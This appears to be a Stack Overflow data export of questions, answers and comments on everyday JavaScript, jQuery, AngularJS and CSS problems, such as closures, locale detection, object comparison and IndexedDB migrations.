accepted answer: http://stackoverflow.com/a/25632393
possible better answer: http://stackoverflow.com/a/25632385
linked to: http://stackoverflow.com/q/49547
answer count: 2

http://stackoverflow.com/comment/40141601
type: QuestionComment
comment on: http://stackoverflow.com/q/25684370
score: 0
has text: no i mean a simple csv text file in the same folder as the html file, im still kinda of learning, but all the places i've looked have not really explained what they did or how to then access that data
type: Comment

http://stackoverflow.com/q/25597474
tagged with: input
score: 2
type: AnsweredQuestion
has title: take value in input from js
accepted answer: http://stackoverflow.com/a/25597492
type: Question
has answer: http://stackoverflow.com/a/25597492
answer count: 2
has body: I need to take a data from a script and then to use it in a form. So when I click on this span:' &lt;span class="star rate1"&gt;&lt;/span&gt; The value from the js should go in this post: &lt;input type="hidden" name="rate_product" id="rate_er" /&gt; The js script: $(".rate1").click(function() { var rate = document.getElementById("rate_er"); rate = 1; }); But something is not working. The post is empty. Can u guys help me to find out the problem and what I'm doing wrong? thank you
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25597487
upvote count: 3
has answer: http://stackoverflow.com/a/25597487
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
favorite count: 0

http://stackoverflow.com/q/25600900
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39990342
answer count: 0
has title: Click on Add auto number incerment 1,2,3-----
type: Question
has body: HTML: ADD <apex:commandButton value="Add" action="{!addBatch}" id="update" <apex:repeat value="{!batchMap[qliRow]}" var="child" id="therepeat2"> <apex:variable value="{!1}" var="batchrowNum"/> <apex:input value="0" id="counter"/> <apex:commandButton value="Delete" action="{!deleteBatch}" /> <apex:variable var="batchrowNum" value="{!batchrowNum+ 1}"/> </apex:repeat> <apex:variable var="rowNum" value="{!rowNum + 1}"/> </apex:repeat> </apex:repeat> Sample script:i tried I have one table "main table" and "sub table"(table inside maintable) while clicking on action="{!addBatch}" it is adding row on sub table. If i have three items in main table i can see three add buttons .whatever add button i clicked it has to increment one number in <apex:input value="0" id="counter"/> In the same when i deleting some child row in middle it has to rearrange number <apex:input value="0" id="counter"/>
tagged with: javascript
has comment: http://stackoverflow.com/comment/39990336
score: 0
tagged with: jquery

http://stackoverflow.com/comment/40200213
type: QuestionComment
has text: I haven't checked your vector calculation but on some mobile devices `event.clientX/Y` are [wrong](https://stackoverflow.com/questions/5885808/includes-touch-events-clientx-y-scrolling-or-not).
comment on: http://stackoverflow.com/q/25683689
score: 0
type: Comment

http://stackoverflow.com/q/25560895
has answer: http://stackoverflow.com/a/25561610
answer count: 3
tagged with: css
score: 0
has comment: http://stackoverflow.com/comment/39919142
linked to: http://stackoverflow.com/q/18855961
tagged with: javascript
tagged with: jquery
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25560994
tagged with: jquery-plugins
has answer: http://stackoverflow.com/a/25561061
type: Question
tagged with: http://stackoverflow.com/tag/html
has title: table on content area div overflow,when browser is minimized
has body: see this FIDDLE for codes. when browser is minimized,table overflow outside div. Noticed also that the tableutils.js I imported have this code , fixHeaderOptions : { width : 600; //i commented out this so table width is not set but still table overflow. } My desire output is to have a scrollbar on the table area ONLY IF browser is minimized and do not overflow on #content div area(the div with gray background-color), when browser is maximized; i do not want any scroll bars to show on #content div. Any help from you guys is much appreciated.

http://stackoverflow.com/q/25606730
has body: I am determining the current locale of the browser using this API: var language = window.navigator.userLanguage || window.navigator.language; This return "fr-FR" in IE, but it returns just "fr" in Chrome (and similarly for other locales). Is there another API that will return "fr-FR" in Chrome as well? We rely on this to load the appropriate culture files.
downvote count: 0
linked to: http://stackoverflow.com/q/1043339
type: UnansweredQuestion
score: 23
tagged with: google-chrome
type: Question
has comment: http://stackoverflow.com/comment/109216490
has comment: http://stackoverflow.com/comment/40001755
tagged with: locale
tagged with: javascript
has answer: http://stackoverflow.com/a/42070353
answer count: 2
has comment: http://stackoverflow.com/comment/40001410
upvote count: 23
favorite count: 0
has title: Get current locale of Chrome
has answer: http://stackoverflow.com/a/36081717
linked to: http://stackoverflow.com/q/673905

http://stackoverflow.com/a/25607334
score: 1
has body: You need to determine the data which need to be exclude. but as its coming as first value you can simply use index to filter out desired data. i.e. if(i!= 0): var data = [{"larger_than_1":null,"current_page_no":110,"otherpageno":"100,101,102,103,104,105,106,107,108,109,111,112,113,114,115,116,117,118","current_not_equal_total":"true","nextpage":111,"website":"www.google.com"},{"jao":"j","kal":"k"},{"jao":"j","kal":"k"},{"jao":"j","kal":"k"},{"jao":"j","kal":"k"},{"jao":"j","kal":"k"},{"jao":"j","kal":"k"},{"jao":"j","kal":"k"}]; var item_html =""; jQuery.each(data, function(i, item) { if(i!= 0) { item_html += '&lt;p style="margin:5px;background:beige"&gt;'+item.kal+'&lt;/p&gt;'; } $('#area').append(item_html); }); Working Demo
downvote count: 0
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/25607241

http://stackoverflow.com/comment/40172533
score: 0
comment on: http://stackoverflow.com/a/25701049
type: Comment
type: AnswerComment
has text: @RobinCarlier I have used PJAX before, I believe there is no neccessary/condition that the javascripts should be placed below the footer. Please kindly provide the url of the HTML5 BoilerPlate Template you are using.

http://stackoverflow.com/a/25628183
has comment: http://stackoverflow.com/comment/40211511
accepted answer of: http://stackoverflow.com/q/25628022
has comment: http://stackoverflow.com/comment/40063823
has body: Take a look at the docs for @each - it's a special keyword that observes specific changes to an array. In your case, using the following would work (the observer fires only when records are added or removed from the array): alienCountBelow5: function() { return this.get('model').get('aliens.length') &lt; 5; }.property('aliens.[]'),
has comment: http://stackoverflow.com/comment/40080353
type: AcceptedAnswer
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25628022

http://stackoverflow.com/a/25670965
has body: Case matters in JavaScript. The correct property name is onclick (with a lowercase 'c'). Try this: var incFont = document.getElementById("incFontS"); incFont.onclick = function () { window.alert("it ran!"); } Demonstration Also, be sure to read addEventListener vs onclick for a discussion about different techniques for binding event listeners.
type: Answer
upvote count: 2
score: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25670925
answers question: http://stackoverflow.com/q/25670925

http://stackoverflow.com/q/25583665
favorite count: 0
has comment: http://stackoverflow.com/comment/39958776
accepted answer: http://stackoverflow.com/a/25583787
has comment: http://stackoverflow.com/comment/39958721
type: AnsweredQuestion
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/39958768
type: Question
linked to: http://stackoverflow.com/q/111102
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25583797
has comment: http://stackoverflow.com/comment/39958808
answer count: 3
possible better answer: http://stackoverflow.com/a/25583797
has comment: http://stackoverflow.com/comment/39958827
has comment: http://stackoverflow.com/comment/39958741
has body: What are the benefits of using closures in JavaScript and why should I consider them in my code if I can usually write a more simple and straightforward solution, at least in my opinion. For example, consider this: function multiplier(factor) { return function(number) { return number * factor; }; } var twice = multiplier(2); console.log(twice(5)); ////////////////////////////////////////////////////////////////// function myMultiplier(factor, number) { return number * factor; } console.log(myMultiplier(2, 5)); They both output 10, but I find myMultipler easier to understand, quicker to write, and I only needed one function to do it. Why should I consider the closure version over my-version? Thanks in advance.
has answer: http://stackoverflow.com/a/25583732
has answer: http://stackoverflow.com/a/25583787
tagged with: web
has title: Why should I consider the use of JavaScript Closures in my code?

http://stackoverflow.com/comment/40043226
type: QuestionComment
has text: The event that is preventable is that of the default action of the keyup on the text area. In short, you're in the wrong scope with e. You also can't attach an event to a button/link with a property call like that. If you don't want the #button link to link, you should specify it .on('click' function(){}); in a listener of it's own. Frankly, the entire method above is confusing and i'm not 100% sure what your actual goal is with putting text in a block to validate?
score: 2
comment on: http://stackoverflow.com/q/25629635
type: Comment

http://stackoverflow.com/q/25648367
possible better answer: http://stackoverflow.com/a/52008804
downvote count: 0
favorite count: 0
tagged with: promise
tagged with: angularjs
score: 6
has answer: http://stackoverflow.com/a/25648403
upvote count: 6
has title: Why would you execute $q.when() without passing it a promise/value?
type: AnsweredQuestion
has body: According to the Angular docs on $q, $q.when() expects a promise/value to passed in. But I just came across someone else's code where it's called without passing in any params. Here's a simplified version of what I see: var modal = false; if (modalOpen) { return $q.when() } modalOpen = true; modal = newModal({ template: opts.template, }); modal.result.finally(function(){ modalOpen = false; }); }
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/25648403
tagged with: javascript
has answer: http://stackoverflow.com/a/52008804
tagged with: http://stackoverflow.com/tag/q

http://stackoverflow.com/q/25634900
accepted answer: http://stackoverflow.com/a/25635198
has title: Image Preloading for animation
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25635198
answer count: 1
tagged with: jquery
tagged with: http://stackoverflow.com/tag/html
has body: I have a banner at the top of some of my webpages. The banner is static until the user clicks on the play button which kick starts the animation. The animation is one long horizontal image that just rolls around and iv got it overlapping perfectly. But what I want to happen is to have a smaller alternative image to load first, while the large image loads behind then once it is loaded to replace the original small image so there is no delay on the page... How do I go about this? This is my js to get the banner to play on click. $(document).ready(function() { var mwbannerfull = $( '#mwbannerfull' ); var playing = false; var playarrow = $( '.playarrow' ); var speed = 0.145; var totalDistance = 4350; playarrow.click(function() { if (playing) pause(); else play(); playing = !playing playarrow.toggleClass('playing'); }); function play() { var distance = parseInt(mwbannerfull.css('left'), 10) * -1; if (isNaN(distance)) distance = 0; distance = totalDistance - distance; var time = distance / speed; mwbannerfull.animate({left: '-' + totalDistance + 'px'}, time, 'linear', function() { $(this).css( { left: 0 }); play(); }); } function pause() { mwbannerfull.stop(); } }); HTML:
type: AnsweredQuestion
type: Question

http://stackoverflow.com/q/25564146
has comment: http://stackoverflow.com/comment/39922086
accepted answer: http://stackoverflow.com/a/25565997
has answer: http://stackoverflow.com/a/25564261
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39922032
type: Question
has title: Changing order of object array
has answer: http://stackoverflow.com/a/25564216
has body: Think of I have an object array as below: var array = [ { name: "A", position: "0" }, { name: "B", position: "1" }, { name: "C", position: "2" }, { name: "D", position: "3" }, { name: "E", position: "4" }, { name: "F", position: "5" } ]; Let's say user dragged the element that has position 4 and dropped it on the element that has position 1. var replacedItem = { name: "E", position: "4" }; var destinationItem = { name: "B", position: "1" }; How can I rearrange the positions of elements using javascript to have the array containing following values: var array = [ { name: "A", position: "0" }, { name: "E", position: "1" }, { name: "B", position: "2" }, { name: "C", position: "3" }, { name: "D", position: "4" }, { name: "F", position: "5" } ]; Thanks,
tagged with: javascript
has answer: http://stackoverflow.com/a/25565997
possible better answer: http://stackoverflow.com/a/25564216
score: 0
answer count: 3
tagged with: arrays
tagged with: jquery

http://stackoverflow.com/comment/39954715
type: Comment
type: QuestionComment
score: 0
has text: Also, the main frame is constantly being updated, while the content of the new frame should be fixed(static?).
comment on: http://stackoverflow.com/q/25581154

http://stackoverflow.com/a/25565755
downvote count: 0
has comment: http://stackoverflow.com/comment/39930847
accepted answer of: http://stackoverflow.com/q/25556681
answers question: http://stackoverflow.com/q/25556681
type: Answer
has comment: http://stackoverflow.com/comment/39992272
has comment: http://stackoverflow.com/comment/39995223
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/39997577
has body: I finally found a way to avoid all the nastiness of this API and have found a solution that exposes a clean promises-based interface and generalises to any number of database migrations. Key gotchas: Schema changes can only be performed during a versionchange transaction; but data changes cannot be performed during a versionchange transaction, therefore we must distinguish between data and schema migrations and execute them in different ways, with distinct transactions. update data changes can be performed during a versionchange transaction, but not via the usual db.transaction('readwrite', ...).objectstore(...) method - this throws an exception. Instead use a reference to the versionchange transaction. To allow arbitrary interleaving of schema creation and population, we must treat these as separate migration steps and only attempt one step once the transaction for the previous step has succeeded. Explicit transaction management is explicitly prevented by the spec (https://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html#transaction-concept ) which limits the extent to which transactions can be re-used as they are marked inactive once the event loop completes Therefore method .open(dbName, version) only allows one versionchange transaction, once it succeeds it's gone. This method is the only way to create versionchange transactions Therefore multiple migration steps require multiple successive calls to .open(dbName, version) versionchange transactions block while other database connections are open, so every connection must be closed before attempting the next migration in the chain. The code I came up with to negotiate all these gotchas is below. var newPromise = function(withDeferred) { var deferred = $q.defer(); try { withDeferred(deferred); } catch (err) { deferred.reject(err); } return deferred.promise; }; var newTransactionPromise = function(getTransaction) { return newPromise(function(deferred) { var transaction = getTransaction(); transaction.oncomplete …
type: AcceptedAnswer

http://stackoverflow.com/comment/40127352
has text: ok your right. So i have been trying to implement this https://github.com/jjoe64
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25676211
type: QuestionComment

http://stackoverflow.com/comment/39955162
type: AnswerComment
comment on: http://stackoverflow.com/a/25581522
type: Comment
score: 0
has text: that works... :P but I really wanna know the way to include alert inside JS file...

http://stackoverflow.com/a/25652145
type: Answer
upvote count: 4
has body: In the spirit of functional programming, let's make our components a bit easier to work with by using abstractions. // converts components into mappable functions var mappable = function(component){ return function(x, i){ return component({key: i}, x); } } // maps on 2-dimensional arrays var map2d = function(m1, m2, xss){ return xss.map(function(xs, i, arr){ return m1(xs.map(m2), i, arr); }); } var td = mappable(React.DOM.td); var tr = mappable(React.DOM.tr); var th = mappable(React.DOM.th); Now we can define our render like this: render: function(){ return ( &lt;table&gt; &lt;thead&gt;{this.props.titles.map(th)}&lt;/thead&gt; &lt;tbody&gt;{map2d(tr, td, this.props.rows)}&lt;/tbody&gt; &lt;/table&gt; ); } jsbin An alternative to our map2d would be a curried map function, but people tend to shy away from currying.
downvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/40088376
has comment: http://stackoverflow.com/comment/61538987
has comment: http://stackoverflow.com/comment/40086317
answers question: http://stackoverflow.com/q/25646502

http://stackoverflow.com/comment/40074364
score: 0
type: Comment
type: QuestionComment
has text: try out for siblings in jquery . [http://api.jquery.com/siblings/]. this would help you find the elements with in same level.
comment on: http://stackoverflow.com/q/25646852

http://stackoverflow.com/a/25636363
answers question: http://stackoverflow.com/q/25634137
score: 0
type: Answer
has body: You can use value receipe, ngtutorial.com/learn/value

http://stackoverflow.com/a/25625948
upvote count: 1
has body: You are actually overwriting your $state injection in this function: $scope.startListenToScroll = function($scope, $state) { Remove those parameters and you should be fine. Your code will pick up the $scope and $state injection on the controller itself. You only need to inject those once. $scope.startListenToScroll = function() {
answers question: http://stackoverflow.com/q/25625865
downvote count: 0
type: Answer
score: 1

http://stackoverflow.com/comment/40118995
score: 0
comment on: http://stackoverflow.com/q/25670134
type: Comment
type: QuestionComment
has text: note, `array('password' => array('isEmpty' => 'Value is required and can't be empty'))` will not be an instance of `Array` in JavaScript.. it also isn't a string, it will simply be an object with a property that contains another object with a property.

http://stackoverflow.com/comment/40131347
has text: I'm guessing by the `.row` and the `.col-` tags you're using Twitter Bootstrap. You only need the `.col-sm-12`, the other two are superfluous.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25678230
type: QuestionComment

http://stackoverflow.com/comment/40042553
type: QuestionComment
comment on: http://stackoverflow.com/q/25629284
score: 0
has text: Sorry, this is all new to me. Its just a layer with no background. All the layer contains is the aliased drawing. No white background,. You can see the checkered background if there is no other filled layer underneath the 'inks' layer.
type: Comment

http://stackoverflow.com/q/25706301
has comment: http://stackoverflow.com/comment/40182326
type: AnsweredQuestion
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40182351
accepted answer: http://stackoverflow.com/a/25706411
has body: I have a terrible html id, something like &lt;a id="c:\foo.filename" ... /&gt; My JQuery plugin is getting this fired as C:foo.filename -- it seems jQuery is removing the slash. Is this some known behavior that is trying to behave according to a spec? Can we not have \ in html identifiers? Code: table.treetable("expandNode", "can&amp;#39;t find file c:\foo.filename"); Jquery TreeTable code: $.fn.treetable = function (method) { if (methods[method]) { return methods[method].apply(this, Array.prototype.slice.call(arguments, 1)); } else if (typeof method === 'object' || !method) { return methods.init.apply(this, arguments); } else { return $.error("Method " + method + " does not exist on jQuery.treetable"); } }; The arguments array's 2nd parameter is my filename based id, and this one has \ removed when it enters the function!
type: Question
tagged with: http://stackoverflow.com/tag/html
has title: JQuery - Html ID names that have windows file names is silently removing slash
score: 0
has comment: http://stackoverflow.com/comment/40182319
answer count: 1
has comment: http://stackoverflow.com/comment/40182322
has answer: http://stackoverflow.com/a/25706411
has comment: http://stackoverflow.com/comment/40182459
has comment: http://stackoverflow.com/comment/40182400

http://stackoverflow.com/a/25603782
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25603172
type: Answer
answers question: http://stackoverflow.com/q/25603172
upvote count: 2
score: 2
has body: here's a chunk of code that might inspire you to solve your problem var data='test this test'; var message = $(' ').append(data).find("span:contains('test')").each(function(){ var sumKeyword = $(this).text().split("test").length - 1; alert (sumKeyword); }); jsfiddle

http://stackoverflow.com/q/25690711
has comment: http://stackoverflow.com/comment/40153772
has body: I have some code that, until recently, worked on all browsers supporting CSS transforms. It broke in the newest Chrome (37). I found the issue. The transform from the computed style of an element is not accepted by other elements. HTML One Two CSS div { width: 100px; height: 100px } .one { background-color: red; transform: rotate(90deg); } .two { background-color: blue } Javascript var oneStyle = window.getComputedStyle(document.querySelector('.one')); var oneTransform = oneStyle.transform; document.querySelector('span').innerHTML = 'Tranform value is: ' + oneTransform; var twoStyle = document.querySelector('.two').style; twoStyle.transform = oneTransform; Here is a Fiddle: http://jsfiddle.net/acbabis/0v8v2xd7/ The issue is that the second (blue) element does not rotate the same as the first (red) element is even though I told it to in the javascript. This looks like a bug to me. Is it? EDIT: My actual code was working in every browser but the newest Chrome, but it appears my sample code breaks in all browsers. I'd still like to understand why the above problem occurs. EDIT 2: Got it to break in only Chrome 37 again. My guess is that it doesn't like the scientific notation; but then why would the computed style have it?
type: Question
has comment: http://stackoverflow.com/comment/40153786
has answer: http://stackoverflow.com/a/25694077
has comment: http://stackoverflow.com/comment/40153967
tagged with: transform
has comment: http://stackoverflow.com/comment/40160168
has title: Rotate(90deg) not being applied using .transform in Chrome 37
score: 8
has comment: http://stackoverflow.com/comment/40153883
downvote count: 0
answer count: 1
tagged with: javascript
favorite count: 0
upvote count: 8
has comment: http://stackoverflow.com/comment/40153966
has comment: http://stackoverflow.com/comment/40154185
accepted answer: http://stackoverflow.com/a/25694077
tagged with: css
type: AnsweredQuestion
tagged with: google-chrome
has comment: http://stackoverflow.com/comment/40153706

http://stackoverflow.com/q/25588474
answer count: 2
has title: Using JS to parse JSON Response
possible better answer: http://stackoverflow.com/a/25588502
upvote count: 0
has answer: http://stackoverflow.com/a/25588512
tagged with: javascript
has comment: http://stackoverflow.com/comment/39969153
has comment: http://stackoverflow.com/comment/39967632
favorite count: 0
has body: Apologies if my title is to vague, I will do my best to iterate. I am using the following PHP Code to return a COUNT query from the MySQL DB. The response is fine however I am having trouble parsing the response with JS as I want to present only the value within a dashboard (freeboard.io) &lt;?php //Create Database Connection $db = mysql_connect("localhost","root","passwordROOT12"); if (!$db) { die('Could not connect to the db brah: ' . mysql()); } //Select the database mysql_select_db("cp_investigations",$db); //Replace the * in the query with the column names. $result = mysql_query("select count(*) from emailAccount", $db); //Create an array $json_response = array(); while ($row = mysql_fetch_array($result)) { $json_response[] = $row; } print json_encode($json_response); //Close the db connection fclose($db); ?> RESPONSE: [{"0":"49","count(*)":"49"}] Here is the JS that I am currently using in attempt to have the value "49" reflect back into the dashboard. datasources["Test"].0]. The problem is this is returning: NaN in the dashboard interface. I'm quite certain I need to change this current JS so that It properly parses only the intended value. (However I have tried everything I know with no luck)
accepted answer: http://stackoverflow.com/a/25588512
tagged with: php
downvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25588502
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/39967900
score: -1
tagged with: mysql
type: Question

http://stackoverflow.com/comment/40172830
score: 0
comment on: http://stackoverflow.com/a/25701049
type: Comment
has text: Apart from being that, you could also try placing the **{% block pre_main_script %}** in **{% block head %}**
type: AnswerComment

http://stackoverflow.com/comment/40192513
has text: Just answering the question, guys. One would have to assume that if you're going to use jQuery to detect the AJAX call, that jQuery would be the one performing the AJAX call.. ya know? Otherwise, this question and it's title make no sense whatsoever.
comment on: http://stackoverflow.com/a/25711923
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25667970
type: Answer
has body: After fiddling with the sails object, I found a solution. In order to call a service as variable, you need to make sure the service name is in lowercase, since how Sails store them. Apparently the actions keep their original case, so they are case sensitive. var myAction = "MyAction" var myService = "MyService" sails.services[myService.strToLower()][myAction]()
answers question: http://stackoverflow.com/q/25656831
accepted answer of: http://stackoverflow.com/q/25656831
score: 1
upvote count: 1
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/25688403
has answer: http://stackoverflow.com/a/25688424
tagged with: javascript
has comment: http://stackoverflow.com/comment/40148995
has comment: http://stackoverflow.com/comment/40149498
has title: Is there any real difference between these two code snippets?
has comment: http://stackoverflow.com/comment/40246815
possible better answer: http://stackoverflow.com/a/25688467
has answer: http://stackoverflow.com/a/25688533
has answer: http://stackoverflow.com/a/25688467
has comment: http://stackoverflow.com/comment/40148914
answer count: 4
has comment: http://stackoverflow.com/comment/40247113
score: 0
has comment: http://stackoverflow.com/comment/40205436
has comment: http://stackoverflow.com/comment/40148859
type: AnsweredQuestion
has body: Is there any difference in the following code snippets? They both work, would one be considered better or cleaner than the other? someFunc(){ var ret; if(thisBoolean === true){ ret = some value } else{ ret = some other value } return ret; } And someFunc(){ if(thisBoolean === true){ return some value } else{ return some other value } }
accepted answer: http://stackoverflow.com/a/25688533
has answer: http://stackoverflow.com/a/25688500
has comment: http://stackoverflow.com/comment/40247014
type: Question

http://stackoverflow.com/comment/40073243
score: 2
has text: Do you wanna something like this? http://stackoverflow.com/questions/22876978/loop-inside-react-jsx
comment on: http://stackoverflow.com/q/25646502
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40018550
type: Comment
type: QuestionComment
has text: @jacelysh Actually, CSS has some limited capacity for handling clicks. For example, you could add `tabindex="0"` to `whitedropdown-menu` and add `.whitedrop:hover .whitedropdown-menu:active { display: none; }` and you'd have a working solution. The problem is that browsers are buggy with this non-standard approach, so it only really seems to work in Firefox and partially in Safari. However, there is no reason it shouldn't work in all browsers, so this should be filed as a bug in IE and Chrome.
comment on: http://stackoverflow.com/q/25616240
score: 0

http://stackoverflow.com/comment/40200251
type: AnswerComment
has text: Thanks! That seemed to have worked just the way I wanted it. :) sorry still in the learning curve of java
comment on: http://stackoverflow.com/a/25693181
score: 0
type: Comment

http://stackoverflow.com/comment/39976107
type: AnswerComment
type: Comment
has text: if you insert 'myVid.onended = function(e) { myVid.currentTime = 0; myVid.play(); }' there it works, just tried it.
comment on: http://stackoverflow.com/a/25593025
score: 0

http://stackoverflow.com/comment/39964388
comment on: http://stackoverflow.com/q/25586815
score: 0
type: Comment
type: QuestionComment
has text: Are you using var x = JSON.parse(); ?

http://stackoverflow.com/comment/40058189
has text: I guess one is an array containing an object and the other is an object.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25638191

http://stackoverflow.com/a/56962187
score: 0
answers question: http://stackoverflow.com/q/25665897
type: Answer
has body: Use the attribute newtab on the a element. Code for driver for newtab a attribute: (()=&gt;{document.getElementsByTagName("a").map((e)=&gt;{if(e.newtab==="newtab"){e.target="_blank";e.rel="noopener noreferrer";}return e;});})(); Beautified version without an anonymous function: document.getElementsByTagName ( "a" ).map ( (e) =&gt; { if (e.newtab === "newtab") { e.target = "_blank"; e.rel = "noopener noreferrer"; } return e; } ); &nbsp;&nbsp;You can only put the compressed version on your page due to uncompressed-code checking.

http://stackoverflow.com/q/25593887
has comment: http://stackoverflow.com/comment/39977456
type: Question
has comment: http://stackoverflow.com/comment/39977537
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25593908
score: 0
linked to: http://stackoverflow.com/q/315078
answer count: 1
tagged with: jquery
has answer: http://stackoverflow.com/a/25593908
tagged with: http://stackoverflow.com/tag/html
has title: jQuery - Prevent other "on-click" functions
tagged with: css
type: AnsweredQuestion
has body: I have a simple script, where the user can load two different containers which have some different content in them. This is the code: Load Fixed Load Extra FIXED ADS IN HERE!! EXTRA ADS IN HERE!! And the jQuery: $('.load-extra').click(function() { $(this).addClass('active'); $('.load-fixed').removeClass('active'); $('.fixed-ads').hide(); $('#t-loader').show().html('loader'); setTimeout( function() { $('#t-loader').hide(); $('.extra-ads').show(); }, 2000); }); $('.load-fixed').click(function() { $(this).addClass('active'); $('.load-extra').removeClass('active'); $('.extra-ads').hide(); $('#t-loader').show().html('loader'); setTimeout( function() { $('#t-loader').hide(); $('.fixed-ads').show(); }, 2000); }); The problem is, whenever someone clicks .load-extra AND .load-fixed both will be shown in at the page. How can I do, so whenever someones either clicks .load-extra or .load-fixed, only one of them will show? I have created a jsFiddle here: http://jsfiddle.net/j21oofwx/ In the example, try to click on "Load Extra" and "Load Fixed" quickly after each other - you'll see that content from both containers will be shown.

http://stackoverflow.com/comment/131130028
type: Comment
score: 1
has text: The comment in the code should say `//Converting [0,1) to (0,1]` instead of `//Converting [0,1) to (0,1)`
type: AnswerComment
comment on: http://stackoverflow.com/a/36481059

http://stackoverflow.com/q/25675078
has comment: http://stackoverflow.com/comment/40125557
tagged with: javascript
has comment: http://stackoverflow.com/comment/40125290
score: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/25675183
has answer: http://stackoverflow.com/a/25675183
tagged with: jquery
has comment: http://stackoverflow.com/comment/40125140
accepted answer: http://stackoverflow.com/a/25675236
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has body: I wrote two javascripts to write my own modal system because the bootstrap one has so many issues. However when you click it the first time it will work correctly it will fade in, and when you click close it will fade out, but the next time you click show modal and then close modal it will animate 2 times on the fade in and 2 times on the fade out, then I click it a third time and the same thing will happen except it will animate 3 times. and so on. I supposed its how i wrapped my functions but im not quite sure. I'm still noob to javascript. No error is returned in console or debugger. $(document).ready(function(){ $('#helppage').hide(); }); function displayHelp(){ $(document).click(function(){ $( "#helppage" ).fadeIn( "medium", function() { }); }); } function hideHelp(){ $(document).click(function(){ $( "#helppage" ).fadeOut( "medium", function() { }); }); } SPOKE TO SOON .. function toggleHelp(){ $(document).click(function(){ if ($('#helppage').is(":visible")) { $( "#helppage" ).fadeOut( "medium", function() { }); } else { $( "#helppage" ).fadeIn( "medium", function() { }); } }); } The Real Working Code **$(function toggleHelp() { $(document).on('click', function() { $('#helppage').fadeToggle('medium', function() { }); }); });**
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40125393
tagged with: twitter-bootstrap
has title: JQuery Weird Animation Looping
type: Question
has answer: http://stackoverflow.com/a/25675236
has comment: http://stackoverflow.com/comment/40125308

http://stackoverflow.com/a/25594047
type: Answer
has comment: http://stackoverflow.com/comment/39980205
has comment: http://stackoverflow.com/comment/40006067
score: 3
accepted answer of: http://stackoverflow.com/q/25592422
upvote count: 3
answers question: http://stackoverflow.com/q/25592422
has body: One way to model a fan is like so: var fan = new THREE.Mesh( ... ); var pivot = new THREE.Object3D(); scene.add( pivot ); pivot.lookAt( camera.position ); pivot.add( fan ); Then in the animation loop (assuming the fan mesh by default faces the positive-z axis), fan.rotation.z += 0.01; three.js r.68
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39979290

http://stackoverflow.com/a/25647803
upvote count: 19
answers question: http://stackoverflow.com/q/25647680
has comment: http://stackoverflow.com/comment/40076294
has body: You are comparing object instances, which is not like a string comparison ('hello' === 'hello') Comparing objects in Javascript is actually comparing the memory addresses of the objects and will always return false because memory addresses are different for each object. Compare the string values instead of the object instance - jsFiddle ( String('hello') === String('hello') ) // returns true due to comparing strings Strictly comparing two objects - false not the same object new String('hello') === new String('hello') Strictly comparing two strings - true, same returned value and same returned type String('hello') === String('hello')
has comment: http://stackoverflow.com/comment/40084345
has comment: http://stackoverflow.com/comment/40075975
downvote count: 0
has comment: http://stackoverflow.com/comment/40075450
type: Answer
has comment: http://stackoverflow.com/comment/40076674
score: 19
has comment: http://stackoverflow.com/comment/40076429

http://stackoverflow.com/a/25686889
downvote count: 0
has comment: http://stackoverflow.com/comment/40147333
has body: try using contextmenu eventlistener: &lt;html&gt; &lt;head&gt; &lt;script type="text/javascript"&gt; (function(){ var ImageId = document.getElementById("image"); if (ImageId.addEventListener) { ImageId.addEventListener('contextmenu', function(e) { alert("You've tried to open context menu"); //here you draw your own menu e.preventDefault(); }, false); } else { ImageId.attachEvent('oncontextmenu', function() { alert("You've tried to open context menu"); window.event.returnValue = false; }); } })() &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;img id="image" src="" /&gt; &lt;/body&gt; &lt;/html&gt; Make Custom ContextMenu Check out this Tutorial on creating a custom context Menu : http://luke.breuer.com/tutorial/javascript-context-menu-tutorial.htm
type: Answer
has comment: http://stackoverflow.com/comment/40167370
has comment: http://stackoverflow.com/comment/40146231
answers question: http://stackoverflow.com/q/25686814
score: 1
upvote count: 1

http://stackoverflow.com/comment/40208161
score: 0
type: AnswerComment
has text: @TheRebel, that's right I've made the typo error, element return array of object so you have to check fist object in your case.
comment on: http://stackoverflow.com/a/25714544
type: Comment

http://stackoverflow.com/comment/39980429
comment on: http://stackoverflow.com/a/25595485
type: Comment
has text: @Vivendi before I add clarification to the answer I want to be sure - what browsers do you have to support? Also can I assume $resource?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40106413
comment on: http://stackoverflow.com/a/25664167
score: 0
type: AnswerComment
type: Comment
has text: can I close the progressbar in a DIV Whit specific width ?

http://stackoverflow.com/comment/39978990
has text: Because the function has a different scope that the global program.
comment on: http://stackoverflow.com/q/25594743
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/40012257
has text: The variable names that are being sent via the jquery are not the same as what the php is looking for. Change them in the php to match by doing what I said in the previous comment. If done correctly, your problem will be solved.
score: 0
